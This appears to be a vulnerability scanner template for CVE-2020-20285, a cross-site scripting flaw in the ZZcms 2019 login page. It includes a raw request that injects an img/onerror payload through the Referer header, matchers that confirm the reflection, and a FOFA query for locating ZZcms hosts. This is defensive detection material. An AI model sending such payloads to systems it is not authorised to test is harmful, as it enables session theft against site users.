ZZcms 2019 contains a cross-site scripting vulnerability in the user login page. An attacker can inject arbitrary JavaScript code in the referer header via user/login.php, which can allow theft of cookie-based credentials and launch of subsequent attacks.
PoC代码[已公开]
id: CVE-2020-20285
info:
name: ZZcms - Cross-Site Scripting
author: edoardottt
severity: medium
description: |
ZZcms 2019 contains a cross-site scripting vulnerability in the user login page. An attacker can inject arbitrary JavaScript code in the referer header via user/login.php, which can allow theft of cookie-based credentials and launch of subsequent attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://github.com/iohex/ZZCMS/blob/master/zzcms2019_login_xss.md
- https://nvd.nist.gov/vuln/detail/CVE-2020-20285
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2020-20285
cwe-id: CWE-79
epss-score: 0.06066
epss-percentile: 0.90395
cpe: cpe:2.3:a:zzcms:zzcms:2019:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: zzcms
product: zzcms
fofa-query: zzcms
tags: cve2020,cve,zzcms,xss
http:
- raw:
- |
GET /user/login.php HTTP/1.1
Host: {{Hostname}}
Referer: xss"/><img src="#" onerror="alert(document.domain)"/>
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'fromurl" type="hidden" value="xss"/><img src="#" onerror="alert(document.domain)"/>'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
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